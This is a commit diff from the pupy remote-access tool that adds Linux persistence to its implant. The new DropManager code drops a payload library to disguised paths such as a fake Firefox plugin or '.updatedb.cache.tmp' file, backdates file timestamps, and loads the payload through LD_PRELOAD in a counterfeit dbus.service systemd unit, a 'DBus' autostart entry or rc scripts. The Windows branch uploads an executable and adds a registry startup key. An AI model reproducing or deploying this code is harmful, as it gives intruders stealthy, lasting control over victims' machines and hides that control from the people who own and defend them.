Start to implement persistence for Linux

pupy/modules/lib/linux/migrate.py

@@ -17,14 +17,17 @@ def has_proc_migrated(client, pid):
                 return c
     return None
 
-def get_payload(module):
+def get_payload(module, compressed=True):
     if module.client.is_proc_arch_64_bits():
         module.info('Generate pupyx64.so payload')
         dllbuf = pupygen.get_edit_pupyx64_so(module.client.get_conf())
     else:
-        module.info('Generate pupyx64.so payload')
+        module.info('Generate pupyx86.so payload')
         dllbuf = pupygen.get_edit_pupyx86_so(module.client.get_conf())
 
+    if not compressed:
+        return dllbuf
+
     dllgzbuf = cStringIO.StringIO()
     gzf = gzip.GzipFile('pupy.so', 'wb', 9, dllgzbuf)
     gzf.write(dllbuf)

pupy/modules/persistence.py

@@ -1,4 +1,4 @@
-# -*- coding: UTF8 -*-
+# -*- coding: utf-8 -*-
 # --------------------------------------------------------------
 # Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
 # All rights reserved.
@@ -15,22 +15,40 @@
 # --------------------------------------------------------------
 from pupylib.PupyModule import *
 from pupylib.PupyCompleter import *
+from modules.lib.linux.migrate import get_payload
 import random
 import pupygen
 import os.path
+import stat
 import string
 
 __class_name__="PersistenceModule"
 
-@config(cat="manage", compat="windows")
+@config(cat="manage", compat=['linux', 'windows'])
 class PersistenceModule(PupyModule):
     """ Enables persistence via registry keys """
     def init_argparse(self):
         self.arg_parser = PupyArgumentParser(prog="persistence", description=self.__doc__)
         self.arg_parser.add_argument('-e','--exe', help='Use an alternative file and set persistency', completer=path_completer)
-        self.arg_parser.add_argument('-m','--method', choices=['registry'], required=True, help='persistence method')
 
     def run(self, args):
+        if self.client.is_windows():
+            self.windows(args)
+        else:
+            self.linux(args)
+
+    def linux(self, args):
+        self.client.load_package('persistence')
+        manager = self.client.conn.modules['persistence'].DropManager()
+        self.info('Available methods: {}'.format(manager.methods))
+        payload = get_payload(self, compressed=False)
+        drop_path, conf_path = manager.add_library(payload)
+        if drop_path and conf_path:
+            self.success('Dropped: {} Config: {}'.format(drop_path, conf_path))
+        else:
+            self.error('Couldn\'t make service persistent.')
+
+    def windows(self, args):
         exebuff=b""
         if args.exe:
             with open(args.exe,'rb') as f:
@@ -46,32 +64,26 @@ class PersistenceModule(PupyModule):
                 exebuff=pupygen.get_edit_pupyx64_exe(self.client.get_conf())
             else:
                 exebuff=pupygen.get_edit_pupyx86_exe(self.client.get_conf())
-        if args.method=="registry":
-            self.client.load_package("pupwinutils.persistence")
 
+        self.client.load_package("pupwinutils.persistence")
+        remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))])))
+        self.info("uploading to %s ..."%remote_path)
+        #uploading
+        rf=self.client.conn.builtin.open(remote_path, "wb")
+        chunk_size=16000
+        pos=0
+        while True:
+            buf=exebuff[pos:pos+chunk_size]
+            if not buf:
+                break
+            rf.write(buf)
+            pos+=chunk_size
+        rf.close()
+        self.success("upload successful")
 
+        #adding persistency
+        self.info("adding to registry ...")
+        self.client.conn.modules['pupwinutils.persistence'].add_registry_startup(remote_path)
+        self.info("registry key added")
 
-            remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))])))
+        self.success("persistence added !")
-            self.info("uploading to %s ..."%remote_path)
-            #uploading
-            rf=self.client.conn.builtin.open(remote_path, "wb")
-            chunk_size=16000
-            pos=0
-            while True:
-                buf=exebuff[pos:pos+chunk_size]
-                if not buf:
-                    break
-                rf.write(buf)
-                pos+=chunk_size
-            rf.close()
-            self.success("upload successful")
-
-            #adding persistency
-            self.info("adding to registry ...")
-            self.client.conn.modules['pupwinutils.persistence'].add_registry_startup(remote_path)
-            self.info("registry key added")
-
-            self.success("persistence added !")
-        else:
-            self.error("method not implemented")
-

pupy/packages/linux/all/linux_pers.py

@@ -1,36 +0,0 @@
-#!/usr/bin/env python
-import os
-
-def add(path, launcher, launcher_args):
-    if os.path.isfile("/etc/init.d/rc.local"):
-        if path in open("/etc/init.d/rc.local").read():
-            return
-        else:
-            with open("/etc/init.d/rc.local", "a") as local:
-                local.write(path+" "+launcher+" "+launcher_args+' > /dev/null 2>&1 &')
-            os.utime("/etc/init.d/rc.local",(1330712292,1330712292))
-    elif os.path.isfile("/etc/rc"):
-        if path in open("/etc/rc").read():
-            return
-        else:
-            os.system("head -n-1 /etc/rc > /etc/rc2 && rm -f /etc/rc && mv /etc/rc2 /etc/rc")
-            with open("/etc/rc", "a") as rc:
-                rc.write(path+" "+launcher+" "+launcher_args+' > /dev/null 2>&1 &'+'\n')
-                rc.write("exit 0")
-            os.utime("/etc/rc",(1330712292,1330712292))
-    elif os.path.isfile("/etc/rc.d/rc.local"):
-        if path in open("/etc/rc.d/rc.local").read():
-            return
-        else:
-            with open("/etc/rc.d/rc.local", "a") as rc2:
-                rc2.write(path+" "+launcher+" "+launcher_args+' > /dev/null 2>&1 &')
-            os.system("chmod +x /etc/rc.d/rc.local")
-            os.utime("/etc/rc.d/rc.local",(1330712292,1330712292))
-    elif os.path.isfile("/etc/init.d/dbus"):
-        if path in open("/etc/init.d/dbus").read():
-            return
-        else:
-            with open("/etc/init.d/dbus", "a") as dbus:
-                cron.write(path+" "+launcher+" "+launcher_args+' > /dev/null 2>&1 &'+'\n')
-            os.utime("/etc/init.d/dbus",(1330712292,1330712292))
-

pupy/packages/linux/all/persistence.py

@@ -0,0 +1,351 @@
+# -*- coding: utf-8 -*-
+
+import os
+import subprocess
+import random
+import stat
+
+class DropManager(object):
+    def __init__(self):
+        self._is_systemd = False
+        self._systemd_error = None
+        self._is_xdg = False
+        self._xdg_error = None
+        self._uid = os.getuid()
+        self._user = self._uid != 0
+        self._home = os.path.expanduser('~')
+        self._devnull = open(os.devnull, 'r')
+        self._rc = []
+        self._rc_error = None
+
+        self._check_xdg()
+        self._check_rc()
+        self._check_systemd()
+
+    def _find_executable(self, name):
+        for path in [
+                '/bin',
+                '/sbin',
+                '/usr/bin',
+                '/usr/sbin',
+                '/usr/local/bin',
+                '/usr/local/sbin',
+                '/usr/libexec',
+                '/usr/lib',
+                '/usr'
+        ]:
+            for root, dirs, files in os.walk(path):
+                for file in files:
+                    if file == name:
+                        return os.path.join(root, file)
+
+
+    def _check_xdg(self):
+        try:
+            self._is_xdg = ( subprocess.check_call(
+                ['xdg-open', '--version'],
+                stdout=self._devnull,
+                stderr=self._devnull
+            ) == 0 )
+
+            self._is_xdg = True
+        except CalledProcessError as e:
+            self._is_xdg = False
+            self._xdg_error = str(e)
+
+    def _check_systemd_reval(self, args):
+        penv = {
+            'stdout': self._devnull,
+            'stderr': self._devnull,
+        }
+
+        if not os.getenv('DBUS_SESSION_BUS_ADDRESS') and self._user:
+            penv.update({
+                'env': {
+                    'DBUS_SESSION_BUS_ADDRESS':
+                    'unix:path=/var/run/user/{}/dbus/user_bus_socket'.format(self._uid)
+                },
+            })
+
+        try:
+            cmd = ['systemctl']
+            if self._user:
+                cmd.append('--user')
+
+            cmd = cmd + args
+
+            return ( subprocess.check_call(cmd, **penv) == 0 )
+
+        except subprocess.CalledProcessError:
+            return None
+
+    def _check_systemd(self):
+        if self._user:
+            systemd_socket = '/run/user/{}/systemd/private'.format(self._uid)
+        else:
+            systemd_socket = '/run/systemd/private'
+
+        try:
+            if not os.path.exists(systemd_socket) and stat.S_ISSOCK(os.stat(systemd_socket).st_mode):
+                self._systemd_error = 'No systemd socket found'
+                return
+        except OSError as e:
+            self._systemd_error = str(e)
+            return
+
+        self._is_systemd = self._check_systemd_reval([])
+        if not self._is_systemd:
+            self._systemd_error = 'Systemd is not available or not working properly'
+
+    def _check_systemd_unit(self, unit):
+        return self._check_systemd_reval(['is-enabled', unit])
+
+    def _check_rc(self):
+        self._rc = [
+            rc for rc in [
+                '/etc/init.d/rc.local',
+                '/etc/rc',
+                '/etc/rc.local',
+                '/etc/init.d/dbus'
+            ] if os.access(rc, os.W_OK)
+        ]
+        if len(self._rc) == 0:
+            self._rc_error = 'No writable known RC scripts found'
+
+    @property
+    def methods(self):
+        return {
+            'xdg': self._is_xdg or self._xdg_error,
+            'systemd': self._is_systemd or self._systemd_error,
+            'rc': len(self._rc) > 0 or self._rc_error,
+            'user': self._user
+        }
+
+    def _find_systemd_system_path(self):
+        for d in [ '/lib/systemd/system', '/usr/lib/systemd/system', '/etc/systemd/system' ]:
+            if os.path.exists(d):
+                return os.path.dirname(d)
+
+    def _get_systemd_unit_path(self, system=True):
+        if self._user:
+            path = os.path.join(self._home, '.config/systemd/user')
+        else:
+            path = os.path.join(self._find_systemd_system_path(), 'system' if system else 'user')
+
+        return path
+
+    def _add_systemd_add_to_unit(self, unit, key, value, section='Service', system=True, confname='distlocal.conf'):
+
+        confname = confname or ''.join([
+            chr(random.randint(ord('a'), ord('z'))) for _ in xrange(random.randint(5, 10))
+        ]) + '.conf'
+
+        unit = os.path.join(self._get_systemd_unit_path(system), unit+'.d', confname)
+
+        if not os.path.isdir(os.path.dirname(unit)):
+            os.makedirs(os.path.dirname(unit))
+
+        with open(unit, 'w') as funit:
+            funit.write(
+                '[{}]\n'
+                '{}={}\n'.format(section, key, value)
+            )
+
+        return unit
+
+    def _add_loadable_systemd_unit(self, unit, executable, description, service_type='forking'):
+        confdir = self._get_systemd_unit_path()
+        base_wants = os.path.join(confdir, 'default.target.wants')
+
+        base_wants_unit = os.path.join(base_wants, unit)
+
+        unit = os.path.join(confdir, unit)
+        if not os.path.exists(confdir):
+            os.makedirs(confdir)
+
+        if not os.path.exists(base_wants):
+            os.makedirs(base_wants)
+
+        with open(unit, 'w') as funit:
+            funit.write(
+                '[Unit]\n'
+                'Description={}\n\n'
+                '[Service]\n'
+                'Type={}\n'
+                'ExecStart={}\n'.format(
+                    description,
+                    service_type,
+                    executable
+                )
+            )
+
+        if os.path.exists(base_wants_unit):
+            os.unlink(base_wants_unit)
+
+        os.symlink(unit, base_wants_unit)
+
+
+    def _drop_file(self, payload):
+        rand = ''.join([
+            chr(random.randint(ord('a'), ord('z'))) for _ in xrange(random.randint(5, 10))
+        ])
+
+        user_targets = [
+            '%h/.local/lib/%r.so.1', '%h/.local/bin/%r',
+            '%h/.cache/mozilla/firefox/libflushplugin.so',
+            '%h/.mozilla/plugins/libflushplugin.so',
+        ]
+
+        system_targets = [
+            '/lib/lib%r.so.1',
+            '/usr/lib/lib%r.so.1',
+            '/var/lib/.updatedb.cache.tmp.%r'
+        ]
+
+        targets = [
+            target.replace(
+                '%h', self._home
+            ).replace(
+                '%r', rand
+            ) for target in ( user_targets if self._user else system_targets )
+        ]
+
+        shstat = os.stat('/bin/sh')
+
+        for target in targets:
+            dropdir = os.path.dirname(target)
+            if os.path.isdir(dropdir):
+                try:
+                    with open(target, 'w') as droppie:
+                        droppie.write(payload)
+
+                    os.utime(target, (shstat.st_atime, shstat.st_ctime))
+                    return target
+
+                except Exception as e:
+                    continue
+
+        for target in targets:
+            dropdir = os.path.dirname(target)
+            try:
+                os.makedirs(dropdir)
+                with open(target, 'w') as droppie:
+                    droppie.write(payload)
+
+                os.utime(target, (shstat.st_atime, shstat.st_ctime))
+                return target
+
+            except Exception:
+                continue
+
+    def _is_path_in_file(self, filepath, path):
+        if os.path.isfile(filepath):
+            with open(filepath, 'r') as file:
+                return 'path' in filepath
+        return False
+
+    def _add_to_rc(self, path):
+        for rc in self._rc:
+            if self._is_path_in_file(rc, path):
+                return
+
+            rcstat = os.stat(rc)
+
+            with open(rc, 'a') as rcfile:
+                rcfile.write(path + '& 2>/dev/null 1>/dev/null')
+
+            os.utime(rc, (rcstat.st_atime, rcstat.st_ctime))
+            return rc
+
+    def _add_to_xdg(self, path, confname='dbus'):
+        confname = confname or ''.join([
+            chr(random.randint(ord('a'), ord('z'))) for _ in xrange(random.randint(5, 10))
+        ])
+
+        if self._user:
+            xdg = os.getenv('XDG_CONFIG_HOME') or os.path.join(
+                self._home, '.config/autostart', confname+'.desktop')
+        else:
+            xdg = os.getenv('XDG_CONFIG_DIRS') or os.path.join(
+                '/etc/xdg/autostart', confname+'.desktop')
+
+        if not os.path.exists(os.path.dirname(xdg)):
+            os.makedirs(os.path.dirname(xdg))
+
+        with open(xdg, 'w') as fxdg:
+            fxdg.write(
+                '[Desktop Entry]\n'
+                'Name=DBus\n'
+                'GenericName=D-Bus messaging system\n'
+                'Exec=/bin/sh -c "{}"\n'
+                'Terminal=false\n'
+                'Type=Application\n'
+                'Categories=System\n'
+                'StartupNotify=false\n'.format(path)
+            )
+
+        return xdg
+
+    def add_library(self, payload, name=None, system=None):
+        if not any([
+            self._is_systemd, self._is_xdg, self._rc
+        ]):
+            return None, None
+
+        dbus_daemon = self._find_executable('dbus-daemon')
+        if not dbus_daemon:
+            return None, None
+
+        path = self._drop_file(payload)
+        if self._is_systemd:
+            if not self._check_systemd_unit('dbus.service'):
+                self._add_loadable_systemd_unit(
+                    'dbus.service',
+                    '{} --session'.format(dbus_daemon),
+                    'D-Bus session daemon',
+                )
+
+            return path, self._add_systemd_add_to_unit(
+                'dbus.service',
+                'Environment',
+                'LD_PRELOAD={}'.format(path),
+                section='Service',
+                confname=name
+            )
+        elif self._is_xdg:
+            return path, self._add_to_xdg(
+                'LD_PRELOAD={} HOOK_EXIT=1 {} --session --fork'.format(path, dbus_daemon)
+            )
+        elif self._rc:
+            return path, self._add_to_rc(
+                'LD_PRELOAD={} HOOK_EXIT=1 {} --session --fork'.format(path, dbus_daemon)
+            )
+
+    def add_binary(self, payload, name=None, system=None):
+        if not any([
+            self._is_systemd, self._is_xdg, self._rc
+        ]):
+            return None, None
+
+        path = self._drop_file(payload)
+        if not path:
+            return None, None
+
+        os.chmod(path, 0111)
+
+        if self._is_systemd:
+            return path, self._add_systemd_add_to_unit(
+                'dbus.service',
+                'ExecStartPre',
+                '-{}'.format(path),
+                section='Service',
+                confname=name
+            )
+        elif self._is_xdg:
+            return path, self._add_to_xdg(
+                '{} & 2>/dev/null 1>/dev/null'.format(path)
+            )
+        elif self._rc:
+            return path, self._add_to_rc(
+                '{} & 2>/dev/null 1>/dev/null'.format(path)
+            )